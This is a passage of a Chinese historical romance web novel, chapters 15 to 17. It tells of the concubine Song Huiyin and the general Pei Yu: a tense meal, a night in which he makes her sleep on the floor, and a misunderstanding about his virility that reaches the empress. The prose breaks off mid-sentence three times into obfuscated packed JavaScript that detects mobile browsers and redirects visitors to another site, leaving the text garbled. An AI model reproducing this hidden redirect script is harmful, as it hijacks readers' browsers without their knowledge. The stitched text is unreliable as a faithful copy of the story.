贺佳莹这些时日安安静静的待在院中养伤。她脸蛋依旧肿着,此刻白纱覆面,清减的身形带着几分飘飘欲仙的味道。 三人端坐在正堂内,仆妇成群,辰时正,正门处传来动静,不多时,裴彧的身形就出现在了前堂。 他就那样随意地的走过来,劲衣墨发,衣摆处还站着些许灰尘和血渍。仿佛一柄刚刚饮血归鞘的利刃,寒芒未尽,嗡鸣不休。 他视线越过亭中众人,直直的落在紫色身影上,与徽音目光相接。 徽音脑中突然想起裴夫人前些日子所言,她道:“我儿这些年在外征战,少有知心人陪伴。如今有你了,你可要好好宽慰他。但也不能勾着他沉溺男女之事,仔细坏了身子!” 想到此处,徽音脸忽然烧起来,她慌乱低下头,不敢再看裴彧。 裴彧盯着徽音看了一瞬,她耳铛上的珠串正轻轻颤动,他移开视线,对上贺佳莹的欣喜的眸子,迟疑的问道:“表妹这脸?” 贺佳莹脸上聚起热气,难受的低下头不语。 裴夫人上前解围,“你表妹脸上长了些东西,这些时日不好见人。好了,你瞧瞧你这一身脏污,快去洗洗。” 裴彧低头看了看身上的甲胄,确实脏乱。他抬步准备回朔风堂洗漱,裴夫人唤住他,道:“朔风堂太远了,你去临水阁收拾完,快些去我那里用饭。” 徽音猝不及防被点名,她看着裴夫人愣愣道:“妾那处没有裴将军的衣物。” 裴夫人扭头吩咐道:“着人去拿就是。” 等他们两人走后,贺佳莹跪坐到裴夫人身边,难受的低下头,“姨母,你怎能放任表兄和宋徽音相处,这样下去,表兄眼底哪还瞧得上我。” 裴夫人劝慰:“宋徽音不过是个妾,一个小玩意而已,能讨你表兄欢心是她的福气,她怎能同你比。” 裴夫人扶起贺佳莹,将人揽在怀中拍着她的背脊哄道:“你等姨母想想法子。” 徽音跟在裴彧身后离开正堂,两人之间气氛格外沉默,她第一次觉得回临水阁的道路太远。 两人一路无话,垂花小道拥挤,两人同行必须凑得很近,徽音特意放慢脚步落后半拍,可不知怎的,裴彧好像和她保持一个速度,她快,他就快,她慢,他就慢。 进入甬道后,两人手臂贴在一处,透过衣裳布料,徽音都能感觉他手臂上迸发的肌肉和热意,鼻尖萦绕着他身上的味道,熏得她有些喘不过气。 裴彧低沉的声音在耳边响起,徽音抬手揉揉了酥麻的耳朵,仔细听着他的话音。他道:“陶媪那件事,你做的很好。” 徽音瞬间寒毛立起,惊惶的看着他,良久才明白过来,他人虽然不在京中,府内的耳目却一点不少。她心中不安,担忧裴彧会不会已经知晓她跟踪苏信一事。 临水阁位置并不宽敞,二楼对于徽音而言刚刚好,小而温馨。对裴彧而言,却略显拥挤。 他上了二楼,坐在徽音最喜欢的矮榻上,颜娘替她缝制的软枕叫他一屁股坐瘪。徽音敢怒不敢言,拖着不便的宽袖裙裳喊人收拾浴房。 二楼多有不便,临水阁众人忙活半天终于弄好,徽音提着裙摆小步的挪到裴彧面前,恭敬的请人进去洗漱。 裴彧淡淡额首,盯着徽音说了一句:“字不错。”转身走进浴房。 徽音眨眨眼,看见卧榻上未收好的字稿,不禁蜚腹道:“未经允许翻阅他人手稿,非君子也!” 裴彧洗漱时不喜有人伺候,他将婢女都赶了出去,独自沐浴。 徽音抱着软枕炸裂的部分心疼的摸着,颜娘花了三天才给缝制好,裴彧一来就给她坐坏了。 他跋涉几日未曾梳洗,徽音感觉屋内都萦绕着一股臭臭的汗味。 她起身开窗通风,又翻出香膏兑水洒在屋内,直到房间内充满花香才罢手。疲惫的倒在卧榻上,还没来得及松气,就听见浴房内的裴彧唤她。 “宋徽音,进来。” 徽音偷偷翻了个白眼,她磨蹭在浴房门口:“裴将军有何吩咐?” 裴彧仰头靠在木桶上,盯着屏风外那道袅娜的身影,热气熏过的嗓子带着沙哑:“换洗的衣服没拿进来。” 徽音环顾四周,送来的衣服搁置在左侧衣架上,她端起托盘,脚步蓦然止住。她和裴彧还并非真正的夫妻,他此刻沐浴,她怎好进去。 徽音放下托盘,靠近浴房说道:“妾去寻个婢女给你送。” 浴房里头有些不耐烦的道:“麻烦,你直接送进来,阿母那里还在等。” 徽音顿时无语至极,方才婢女在时他不说,这会又来刁难人。 她端起托盘走进浴房,室内水汽弥漫,裴彧的身影隐在浴桶里。 徽音抬眼便看见他若隐若现的胸膛,肌理线条流畅而结实,并非贲张的蛮横,而是每一寸都蕴着精悍的爆发力,像一头蓄势待发的年轻豹子。 浴房湿热的气息包裹着她,黏黏腻腻叫人心下发紧。 她慌乱低下头,眼神不知道往哪放,放下托盘就要转身离去。 那人又道:“太远了,够不到。” 徽音捧着衣物走进,停在浴桶,将手中的衣物递过去。她不敢瞎看,裴彧的浴桶里没有放花瓣,水清澈见底。 裴彧懒洋洋的靠在浴桶上,双手抱在脑后,他奔波几日,浑身都被这热水泡软,舒服感蔓延至四肢百骸。 他久久不接,徽音只得将衣物放在浴桶旁的木架上,转身背对他问:“裴将军还有何吩咐?” 裴彧侧脸看去,徽音背对着他,身体微微起伏,发髻后的耳垂鲜艳欲滴,像颗成熟的樱果,诱人去吃。他莫名觉得水有些热,嗓子干得发疼。 裴彧将人赶出去,他看着徽音落荒而逃的背影觉得的好笑,也没有心思再泡,起身穿戴好衣服,大步离开浴房,端起案几上的凉茶一饮而尽。 发丝覆在肩上滴水,裴彧取过帕子胡乱擦拭一番,徽音已经不在二楼,他转身打量徽音的闺房,室内淡香弥漫,装饰素雅清新。 桌上的竹简已经被人收拢好,他转身移步到阁道出,眺望湖景。 过了一会,他下了楼,徽音正在一楼茶室内,她怀中抱着一个软枕,和她傅母凑在一处,不知道在谈论什么。 她许是听见动静,转头看向楼梯,又在看见裴彧时有一瞬间的不自然。 随后,她整理好神色,望着裴彧道:“夫人已经派人来请,裴将军若是收拾好我们就出发吧。” 裴彧居高临下的吩咐徽音:“替我挽发。” 徽音扣着手心,指着一旁擦拭陶瓶的阿桑,“我并不会挽发,阿桑,你来。” 等裴彧收拾好,徽音长了个记性,特意坠在他后面,两人一前一后慢悠悠的朝正阳院走去。 正阳院内,五张矮案已经摆好,裴夫人坐在正上方,贺佳莹不见身影,下首左右各放两张。 裴彧进门后径直朝左侧第一张矮案走去,徽音沉思片刻,落坐在他对面。若她没猜错的话,另外两张一张是留给裴衍,一张是留给贺佳莹的。 按照道理,徽音是妾室,是没有资格坐着吃饭的,需得服侍婆母,不过裴夫人和裴彧都没有出声,她也不想给自己找罪受。 堂中央是是酱烧的牛腩肉,炖的软烂香甜,此外,每张矮漆案上还有四盘野味,五种配菜,以及生切鲜鲈鱼片,薄如蝉翼,佐以芥酱、梅酱、葱丝。 徽音端起漆耳杯细品葡萄酒,先酸后甜,口味奇特。 裴彧回府前用过干粮,腹中并不饥饿,裴夫人似有心事,动了两下便停了著,看着裴彧欲言又止。 只有徽音埋头吃着她饭食。半响,她察觉到不对,抬头望去,发现裴彧眼不眨的盯着她,嘴边还带着一抹讥讽。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16355022|182964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑容她太熟悉了,与那日他嘲讽她“不过尔尔”一模一样,不用想,定是在心中吐槽她饿死鬼投胎,看见饭食走不动道。 徽音心中默默吐槽,你要是大清早被人抓去来打扮一个时辰,还不让吃早饭,也会饿的跟我一样。 徽音无视他的目光,继续埋头吃饭,裴府别的不好说,饭食做的极美味,民以食为天,先吃饱再说。 裴彧看见对面那少女抬头望了他一眼,又低下头继续吃的,他一阵无语,给她使那么多眼神她没瞧见吗?只顾着吃,裴府是没给她饭吃吗? 眼见阿母控制不住,要拉着他谈论表妹,裴彧重重的咳了一声,对面那人还是没有反应,他直接起身走到徽音身侧,将她埋在饭食里的脑袋抓起来。 徽音猝不及防被人掐着脖子抬起头,裴彧的身影撞进她眼中,她囫囵嚼了两下将口中的鱼片咽了下去,抬手抓住一旁婢女漆盘上的湿帕子擦嘴。 裴彧坐在徽音身边,将她挤出案几一大半,两人半边身子都贴在一起,在裴夫人看来极为恩爱。 她遂也将喉中的话语吞了下去,僵硬的笑了笑,转而提起另一件事。 这边,徽音也从裴彧的异常和裴夫人的脸色中察觉出来什么,她默默挪开一点距离,躲避裴彧刀锋的目光,讨好的给他倒了杯葡萄酒,慢慢推过去给他,仰头亮晶晶的望着他。 裴彧被她明亮的双眼闪了一下,他不自然的举起酒杯一饮而尽,听着裴夫人说话。 裴夫人一改往日的精气神,无精打采道:“离三月三上巳节还有半个月,今年陛下要在东流水畔祓禊沐浴,水滨宴饮,皇后娘娘递了口信,咱们家人都要去,包括徽音。” 徽音疑问:“妾也能去这种场合吗?” 裴夫人摆摆手,强扯出一抹笑容,“娘娘喜欢你,不是什么大事,去看看热闹也好。” 徽音转头望着裴彧,征求他的意见。 裴彧颚首,淡淡道:“那就这么定了。” 裴夫人心情不佳,正事说完后就让裴彧和徽音退下,由着乔媪扶回内室。 徽音跽坐在原地,裴夫人的婢女有条不紊的收拾堂内的漆案,八名婢女不约而同的避开裴彧和徽音这处,手脚麻利的带着东西退出屋外。 她刚想起身离去,肩膀上传来大力,将她摁了回去,徽音缓缓转头看向旁边低气压的裴彧。 他与平时不同,淡漠的眼睛直勾勾的盯着她,眼角下垂,眼神极为锐利,另一只手不耐烦的敲击漆案。 裴彧不耐烦道:“你饿死鬼投胎?需要做什么用我提醒吗?我带你回来是白养着你的?” 徽音微微用力挣脱他压在肩上的手掌,今日确实是她的疏忽,她抬起左手发誓,诚恳的道歉:“今日确实是妾的问题,妾保证以后不会再有此事发生了。” 她手掌的伤势已好了大半,伤口结痂,颜色暗沉,在细腻光滑的白皙皮肤上异常显眼。 “你手怎么回事?”裴彧问。 “无事,不小心蹭上的。” 徽音撤回手笼到袖中,裴衍那小子伤了人第二日就去太学读书了,五日后才归家。 裴彧没再追问,起身走到屋外,他肩宽腰窄,长手长脚,逆着光,徽音看不清他的脸,只依稀能看见他下颚。 纵然徽音不喜他,但也不得不承认,他容貌俊美,气质突出,又是少年成名,权势滔天,满长安城再也找不到第二个能与他相比的儿郎。 她尚年少时,听身边的阿姊们闲聊婚事,裴彧乃是女郎们心中属意的第一人。 半响,徽音听见他道:“表妹一事,你去劝我母亲打消念头。” 徽音不解:“裴将军为何如此排斥此事,贺家表妹貌美,又深得夫人喜欢,纳了她只有好处没有好处。” 她不想去,贺佳莹本就不喜她,她再去说这个事,非活剥了她不可。 裴彧转头冷嗤,“与你无关的事少操心,此事你要是解决不了,也没必要再留在裴府了。” 徽音只能应下。 她起身穿鞋,这裙摆繁琐,她只能小步行走,慢悠悠的荡回临水阁。 16. 第 16 章 夜里,抄手游廊每隔数步悬着一盏铜灯,兽脂灯油燃烧时散发出清香。一队提着宫灯的男仆从廊上经过,走向更深的院落。 徽音颓废的躺在榻上,睁着眼望天,裴彧交代的事情十万火急,她得先把贺佳莹的事情给办了,只是贺佳莹要嫁给裴彧执念的如此之深,要如何才能打消。 徽音回想那日落水争执时贺佳莹的神色,当时她说了一句话,她质问徽音为什么要选裴府。 这话乍一听没什么毛病,细究却有很大问题,她为什么说的是裴府而不是裴彧?难道在她眼里,留在裴府才是最重要的吗? 她躺在在榻上神游天外的想着,伸手摸向旁边的漆盘里的枣栗米糕,这是颜娘端上来给她解乏的,口感软糯绵密,带有枣栗自然的香甜和谷物香。 “噔噔噔”急促的脚步声响起,似乎是谁在楼梯上狂奔,徽音被打断思绪,她撑起身朝门口望去,颜娘气喘吁吁的扶着墙,额上布满细汗。 徽意疑问:“傅母,什么事这么急?” 颜娘深吸两口气,指着楼下惊呼:“裴将军今夜要在临水阁过夜,他的仆从已将衣物都送来了。” “什么!” 徽音立马翻身坐起,提着裙摆噔噔下了楼,平日宽敞的院内立着五个男仆,个个身形高大健硕,一看就是出自军中。 领头的那个叫宿风,他抱拳向徽音行礼,恭敬道:“宋娘子,少将军吩咐我等将他的换洗衣物送来。” 徽音胡乱点头一番,视线移至他们旁边的三个木箱里,一箱子衣物,一箱子用具,还有一箱子竹简。她涩然道:“裴将军只歇一夜,用得着搬这么多东西吗?” 宿风似乎很惊讶徽音会问出这句话,他不好意思笑道:“少将军身边只有宋娘子一人,以后肯定是经常住在这边,这些只是今日仓皇间收拾出的,还有其他的后面再慢慢送过来。” 徽音整个人呆愣住,她想过有这么一天,但没想过这天来的这么快。 一想到今夜要和裴彧住在一起,徽音就浑身僵硬,她侧开身,吩咐阿桑等人帮忙将物品归置整齐。 二楼原本还算宽敞的内室瞬间变得拥挤,雅致的闺房也被冷硬的兵刃和兵书弄得不伦不类起来。 徽音盯着裴彧的那些东西,努力的给自己做心理建设,这一天早晚都是要来的伸头是一刀缩尾也是一刀。 说不定,她和裴彧亲密接触后,他就会放下戒心慢慢接纳她,这对她而言是好事,方便日后行事。 徽音深吸一口气,忍不住起身来回踱步,临都驿站那夜她是抱着献身的想法去,可那夜裴彧没碰她,回裴府后没多久他就出京了。 她不住的安慰自己,等会眼一闭,仍他摆弄就是。她听府里的仆妇闲聊过,有些人看着身强体壮,实则内里是个银枪腊头,用不着半刻钟就能完事。 —— 裴彧踏着月色回府,他才踏进朔风堂,就见宿风迎上来,一脸笑意,“少将军,您不是说今夜去临水阁歇息吗?” 裴彧拧着眉头,“我何时说过?” 宿风回:“酉时女君派人来传话,说您今夜要歇在临水阁,吩咐我等将衣物送去那边。” 裴彧气笑了,“你送了?” 宿风也察觉到不对劲,他摸摸鼻头,道:“送了。” 裴彧抬步出了朔风堂,他走到门口,又转头问:“我不在的这几日,夫人对她如何?” 这个她自然是指徽音。 宿风回忆道:“起初很一般,不过宋娘子每日都会去陪女君闲聊,久而久之,女君也挺喜欢她的。” 等到裴彧踏着月色进门,徽音情绪已经恢复,她穿着一身淡黄寝衣等在屋门口,长发披肩,月色洒在她身上,一时间,分不清是月色更美些还是她更美些。 裴彧走进大堂,将其他人都遣下去。临水阁众人都明白今夜要发生什么,忙不迭的退出门口。 只有颜娘,目光哀伤的望着堂中背脊停直的少女,她比任何都明白,这对徽音意味着什么。 徽音视线越过裴彧,看见担忧她的颜娘,她唇边露出笑,微微摇头示意颜娘放心。 徽音走上前关好门,深吸一口气,转身看着裴彧,轻声道:“裴将军,上楼歇息吧。 两人一前一后的上了二楼,屋内只点了一盏灯,烛火昏暗,给人心里莫名增添一股心慌。 裴彧靠着矮案坐下,单手支头讥讽道:“你倒是学聪明了,知道从我阿母那边下手。” 徽音以为他说的她去讨好裴夫人一事,慢慢走过去,坐在他身边,两人挨的极近。 她仰着头,身上的淡香飘进裴彧的鼻尖,似玉兰香。 “讨夫人开心是妾的本分。” 裴彧冷嗤,“你是为讨她开心还是为着别的。” 他说的是今夜裴夫人让他来临水阁过夜一事。 徽音眨眨眼,不明白他什么意思。 裴彧视线从她那双清凉的眸子上移开,低低的笑起来,“你就这么馋我身子?” 等到徽音听起他说的是什么后,她惊讶的抬头,她什么时候馋他的身子了?他在说什么胡话? 裴彧看她一副张嘴呆愣的模样,挑眉示意她低头看看自己的穿着,“打扮成这样,故意勾引我?” 徽音低头仔细的瞧了半天,很普通很普通的寝衣长裙,就露了个脖子,怎么就勾引了。 她解释道:“我没有,我不是……” 裴彧打断她的话语,再度露出徽音熟悉的刻薄面目,薄唇轻启,“你死了这条心,今夜你去打地铺。” 徽音:“……” 徽音僵在原地,眼睁睁看着裴彧霸占她的床榻,前几日颜娘特意选了匹上好的素色花绸给她做被衾,她还未曾享受过就被裴彧鸠占鹊巢。 人在屋檐下不得不低头,徽音转身在蹲在地上铺床,起身放下帷帐。身后的一幕令她气血上涌,她看见裴彧大剌剌的躺在她的榻上,双腿并拢在榻尾,她最喜欢的软枕被他垫在腰后。 她有些站不住的扶住木架,不想再看见被糟蹋的软榻,转身和衣躺在地上,强迫自己赶紧入眠。 她刚来了些睡意,那人突然出声:“熄灯。” 徽音认命的爬起身,将烛台一一熄灭,摸着黑回去。脚下不知被哪里撞住,徽音一个不慎摔在地上,带起一片哐当动静,额上传来火辣辣的疼,她跪在地上,双手紧紧捂住额头小声抽气。 刚暗下的屋子又燃起烛光,胳膊上传来大力,她整个人腾空而起,被人掐着腰放在床上。 徽音撤下手,额前红肿一块。 裴彧眼底带着一丝不耐烦,”真是娇弱,熄个灯也能受伤。” 泥人也有三分血性,徽音此刻也不免有几分气,她推开裴彧下床,翻出药膏给自己敷上后,又躺回地上。过程中一言不发,完全无视裴彧。 裴彧凝视已躺好的徽音,低头看着被她推开的手掌,他也有些气笑了。他抬手灭掉烛火,上床时故意弄出大动静,转头看见徽音不耐烦的缩进被褥,隔绝一切目光。 他抬手狠狠拉下帷帐,翻身朝里。他陷在被褥里,周身都包裹着徽音身上的淡香,密密麻麻钻进鼻腔,心肺,搅得他睡不着觉。 裴彧听着地上传来的浅浅呼吸,他翻身看过去,徽音已经从被褥探出头,双手无意识的交叉在腹前,胸口随着呼吸上下起伏。 帷幔影影绰绰,他看不清她的面容,她今夜一改往日的小意讨好,竟然还敢冲他发脾气。 他摸着颈间那道伤疤,那是五年前,他听闻长安东郊的树林里子出现一只野生麋鹿,他心痒难耐,瞒着裴府众人独自出京寻找。 裴彧在林中绕了三天也没找到那只麋鹿,身上带的水和干粮也用尽,倒霉的是,他还在林中迷了路,直到天完全黑透才从林中走出。 人困马乏,浑身脏污,辨不清方向,只能就近找一家乡野农户借宿。 那处应是城中某位富户的乡野农庄,星火点点,他被仆人领进庄内,途径一处飞阁庭院时,发现里头坐着一个粉玉雕琢的小女娘,约莫十二岁,梳着双丫髻,天真无邪,极是好看。 彼时的裴彧也才是个刚满十五的少年,不由得多看了那小女孩两眼,没想到引发了误会。小女孩年纪虽小,却极敏锐,当即指着裴彧的身影吩咐周围的奴仆将他赶出去。 裴彧努力解释一番,那小女孩笑吟吟道:“那又如何,你冒犯了我。” 少年不忿回道:“不过多看了你一眼,你能少块肉?” “这是我家的庄子,我要赶你出去也不需要理由!” 她说完没半分犹豫的叫人将裴彧拿下,他当时有心无力,没两下就被宋府的奴仆架起来,撵了出去,颈上还受了些伤。 他只能在野外硬捱一晚,等待天亮城门大开才回府,因此事太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16370161|182964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过丢脸,不论众人如何问他都不曾吭声,阿父还因此罚他跪了半天。 后来他才知,那小女孩是宋公之女,本想找到她报复一番,但匈奴来犯,阿父出征战死,他也远走代郡。 经年之后再回西京,彼时的宋徽音早已褪去稚嫩青涩,成为众人口中人人称赞的的高门姝女。 被褥垫得再厚也不如床舒服,天刚蒙蒙亮,徽音就醒了。她坐在地上揉弄酸痛的腰间,朝内室看去,帷帐虽然拉下,但还是能依稀看到些人影,裴彧还在熟睡。 她摄手摄脚的起身,凑近铜镜观察伤势,好在并不严重,过了一晚上已经消肿了,就剩下些红痕。 早膳时分,徽音和裴彧各自用饭,面对面的跪坐在漆案前,只剩筷箸与漆具相接的声音。 用完饭,裴彧出门上衙,他如今挂着卫将军的名号,还领了虎贲中郎将的职责,统帅禁军精锐。 他一离开,徽音就吩咐阿桑等人将临水阁好生打扫一番,尤其的她的床榻,从里到外都要换新。 她则是领着颜娘去见了裴夫人,裴夫人心情不爽利,恹恹的卧在榻上。 徽音接过颜娘手中的药包递给裴夫人,“上次见夫人膝盖似是受凉冷痛,这是我傅母家乡的偏方,捣碎后敷在膝盖处,能有效缓解。” 裴夫人很是意外,她自从生了裴衍后就落下这个老毛病,腿总是时不时的发疼,看了不少医官总也不见好。 她心中顿觉宽慰,握着徽音的手拍了拍,“你有心了。” 徽音试探的问道:“夫人似乎是心情不好,可愿同徽音讲讲?” 裴夫人面带犹豫,见徽音一脸真挚,最终叹气道:“是佳莹的事,也都怪我,从前是我一直撺掇她说要他给彧儿做妾。可如今你也知道,彧儿不愿纳她,我又做不了他的主。佳莹她……” 徽音安慰道:“夫人待表妹的心众人皆知,表妹只是一时没有转过弯来,相信过不了多久就能好了。” 裴夫人叹息:“希望如此。” 她转而问起另一事,“听说昨夜你那里没有叫水,怎么?你和彧儿昨夜没圆房?” 徽音尴尬不已,那两个粗实仆妇嘴真碎,这才多久,裴夫人就知道了。 “确实没……” 裴夫人惊讶:“为何?” 不应该啊,她靠在凭栏上打量徽音,深更夜重,孤男寡女,美人在怀,居然没成事?她儿子也不像是个柳下穗的样子,难不成,是有什么隐疾。 “你与我说说,昨夜什么光景?”裴夫人抓住徽音的手,仔细的盘问。 徽音将昨夜的情形如实相告,她说完后,室内就陷入的沉默,安静的叫人心慌。 裴夫人面上一阵青一阵白,她喃喃自语:“难怪呢,我说这些我屡次要给他安排晓事婢女他都给拒了,皇后赐下的他也一个不落的送走。我还当以为自己生了个痴情种,要为那柳檀守身。” 裴夫人说到激动处,站起身在屋内来回踱步,一会念叨我可怜的儿,一会又双手合十对天忏悔说自己对不起大司马,对不起裴家。 “乔媪!乔媪!”裴夫人拉开门,朝外头大喊。 乔媪急急忙忙的从旁屋跑出来,“女君,奴在呢,怎么了?” “快,去将太医令请来!” 徽音听见这句,顾不得什么,提着裙奔出去将人喊住,“不许去!” 裴夫人有些生气,带怒的看着徽音,“你何意?” “夫人,许是误会,您先莫着急。” 徽音心跳砰砰作响,她不知道裴彧到底行不行,但任由裴夫人闹下去,不行的就是她了。 “怎么可能是误会,桩桩件件,还能有假?”裴夫人越想越不对劲,从前裴彧的洁身自好在她现在看来全是他“不行”的证据。 “那您也不能闹的人尽皆知啊!” 徽音这下是真的有些恼火,难怪裴皇后要特意派人来协助裴夫人理家,似她这样做事思虑不周,不管后果,就这么大喇喇的去请太医令,不出一日,满城皆知。 裴夫人叫徽音喝住,冷静下来,她抓住徽音的手点头,“你说的对,不能去。” 她猛拍脑袋,扔下一句:“我进宫去找皇后娘娘商量。” 徽音拉不住她,被她甩在原地,望着她远去的身影欲哭无泪。她完了,莫说接近裴彧了,他这下肯定杀了她的心都有了。 吾命休矣。 17. 第 17 章 虎贲卫宿接手的都差不多了,裴彧今日难得在黄昏时分回府,身后跟着的驰厌和方木打打闹闹,一路上嘴没停过。 他嫌那两人蛞噪,扔下两人大步离去,临近朔风堂时,他瞧见门口等着的两个身影。 徽音穿着一身碧色宽袖直裾,头发垂在脑后,发髻后别着一只木篦,再无其他装饰。 她面色苦恼,喋喋不休的在跟面前的颜娘说着什么,时不时皱鼻,手还在比划些什么。 眉眼灵动活泼,与往日的沉稳大不相同。 裴彧静静的看了一会,竟觉得她那副模样有些可爱。 他放慢脚步,慢悠悠的走过去,听着她俩谈话。 徽音毫无察觉,“我从头到尾没说他不行。” “谁不行?” 徽音转头看去,裴彧就站在自己身后,好整以暇的看着她。 她尴尬的别过头,“没什么。” 裴彧越过两人走进朔风堂,问:“你来这里干什么?” 徽音跟上去,期期艾艾道:“我有件事要跟裴将军说。” 裴彧回头扫了她一眼,见她又恢复那副柔顺的模样,唇边的笑意恰到好处,跟个假人一样。 他移开眼,不去看她的丑样子,“进来说。” 这是徽音第一次进裴彧的院子,朔风堂不大,分前后院,前院中间是一块小型沙场,四周摆满兵器架,很多兵器徽音都叫不出名字。 往里走就是主屋,由三件屋子拼成,呈山字形,样式古朴。徽音一路看去,院中只有男仆,没有婢女的身影,她看起前方裴彧的身影不由揣测起来,他不会真有隐疾吧。 还叫她阴差阳错的撞破了,等会他会不会直接暴怒杀人灭口? 想到这里,徽音叫停他,“裴将军,也没什么大事,就是……” 裴彧停住脚步,转身疑惑的看着她。 徽音等最后一个男仆离开后才开口:“今日夫人将妾喊去,打听你我昨夜有没有……圆房。” 裴彧挑眉,“然后呢?” 徽音深吸一口气,语速极快:“我如实相告夫人似乎是误会你有隐疾进宫去找皇后娘娘相商了我没拦住。” 裴彧没有听清,“有什么?” 徽音后退一步,悄悄提起裙摆方便跑路,“有隐疾,就是那方面。” 她说完朝裴彧下半身投去隐晦的一眼。 裴彧:“……” 半响,他声音跟从牙缝里挤出来一样,“宋徽音,你活腻了!” 徽音头摇的跟拨浪鼓似的,“我真不知道事情会如此,夫人问我,我只好实话实说。” 裴彧抬步上前抓人,徽音怕他要动手,着急忙慌的往后溜去,大喊:“我真不是故意的。” 她铆足了劲,就在要跨过院门时,衣领被人拽住,整个人撞进裴彧怀里,他胸膛硬邦邦的。 徽音抬手抓住门框,苦兮兮的望着他道:“我真不是故意的。” 裴彧盯着她无辜的表情咬牙切齿,“你不会撒谎吗,这要我教?” “我怎么说啊,我那院子里都是眼线。” “咚咚——” 院外传来动静,宿风望着院中缠抱在一起的身影,强忍着笑意道:“少将军,宋娘子,皇后娘娘遣内侍来了。” 裴彧额间青筋狂跳,他松开手,宋徽音从他臂下溜出去,躲在柱子后,心有余悸的望着他,眼睛睁的圆溜溜的。 他不合时宜的想,宋徽音生气会什么模样,会不会气的跳脚。 裴彧整理了下衣冠,恢复稳重的模样,“让他们进来吧。” 那内侍是裴皇后宫中的,满脸带笑,身后还跟着几名小黄门,手上拿的满满当当。 内侍道:“裴将军,皇后听闻您身体不适,这些是皇后娘娘赐下的补药。皇后娘娘还说了,让您不要讳疾忌医。” 裴彧狠狠瞪了一眼缩头乌龟的徽音,对那内侍道:“你去回禀娘娘,今夜一切都是误会,我好的很。这补药我用不上,全部拿回去。” “可是,娘娘说……” 裴彧不耐烦打断,“快滚。” 内侍不敢再耽误,怎么来的又怎么把那些东西带了回去。 徽音悄悄跟在他们身后,想混出去。眼前突然伸出一根臂膀拦住她的去路,裴彧似笑非笑道:“你想去哪里?” 徽音披在脑后的头发此刻全部侧在两肩,怯怯的看着裴彧,像只瑟缩的松鼠,她提着裙讨好的笑笑:“时辰不早了,妾得回去了。” “回去干什么,你闹出这么大的乱子,不该想办法解决?” “怎么解决?” 裴彧直起身,双手抱臂,居高临下的藐着她,“当然是,身体力行,澄清乌龙。” “你不是一直惦念此事吗?今日就满足你的心愿。” 徽音后退两步,望着裴彧的笑脸心里发毛,“你……能行吗?” 裴彧的笑忽止住笑,他扯扯嘴角,将人挟在胳膊下往屋内走。 徽音努力挣扎,喘着气说,“我就是问问,夫人说过去几年里给你安排的婢女你全部赶走了。” 裴彧气笑了,低头瞪着不知死活的宋徽音,将人制住双手,抗在肩膀上朝里屋走去,咬牙切齿道:“我行不行,你等会就知道了。” 徽音倒挂在他肩上,头朝下气血上涌,脑袋发晕。她捶着裴彧的背脊,“我头晕,放我下来。” 裴彧踢开屋门,径直走到床前,将徽音扔在榻上。他盯着徽音的身影,单手开始脱衣。 徽音看清他的动作,浑身僵硬,她本要起身,此刻却默默躺回去,只要她和裴彧圆房了,他应该就会放下对她的戒心吧。 她仰躺在床上,鼻尖萦绕着皂角的清香,徽音迷离迷糊的想着,他似乎不爱香,长安的郎君出门总会佩戴香囊或是衣裳熏香。 裴彧不同,她从没在他身上闻见过其他味道,一直都是干爽的皂角味。 她抬眼去看,裴彧已经脱的只剩里衣了,随着他的动作,徽音隐约能看见他若隐若现的胸膛。 她移开眼,强迫自己转移注意力,去打量着间屋子。 帷幔是玄青与赤红交织的军帐色,正对面的墙壁上挂着一幅长安舆图,舆图摆着一副胡杨木矮案,身后的地上铺着雪白的狼皮褥子。 靠近床榻边的木橱旁横置一柄未入鞘的环首刀,看形制约莫是十年前所铸。十年过去,刀锋依旧雪亮,看得出主人的悉心养护。 “发什么呆?” 裴彧望着床上神游天外的人,她挽着的发在刚才的挣扎中散乱,此刻平铺在他的榻上,发丝上墨玉的光泽和她素白的小脸形成强烈的对比。 她也不再是那副假人微笑的模样,那样的她美则美矣,毫无灵魂。此刻的她两颊泛红,眼神如水,碧色的裙摆似盛开的绿梅,占据他整个眼眶。 裴彧心忽然漏跳半拍,眼不眨的看着她,第一次认同友人的话语,她很美。 徽音眨眨眼,裴彧已经脱的只剩中裤,上身□□在她面前,她第一次不隔任何东西的看清他的胸膛。 胸肌上有一道经年的刀伤,再往下,就是他状块分明的腹肌,许是长年累月的骑马练武,腰腹紧实,线条清晰流畅,没有一丝赘肉。 “你还要看多久?” 徽音听见他戏谑的声音,脸上发热,不好意思的别过头,这是她第一次见男人的身体。 裴彧轻哼出声,转身去衣橱里翻箱倒柜,寻了件干净素白里衣穿上,朝着胡杨木矮案走去,慵懒的躺靠在狼皮上。 有一搭没一搭的敲着矮案,翻着散乱的竹简。 徽音满脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 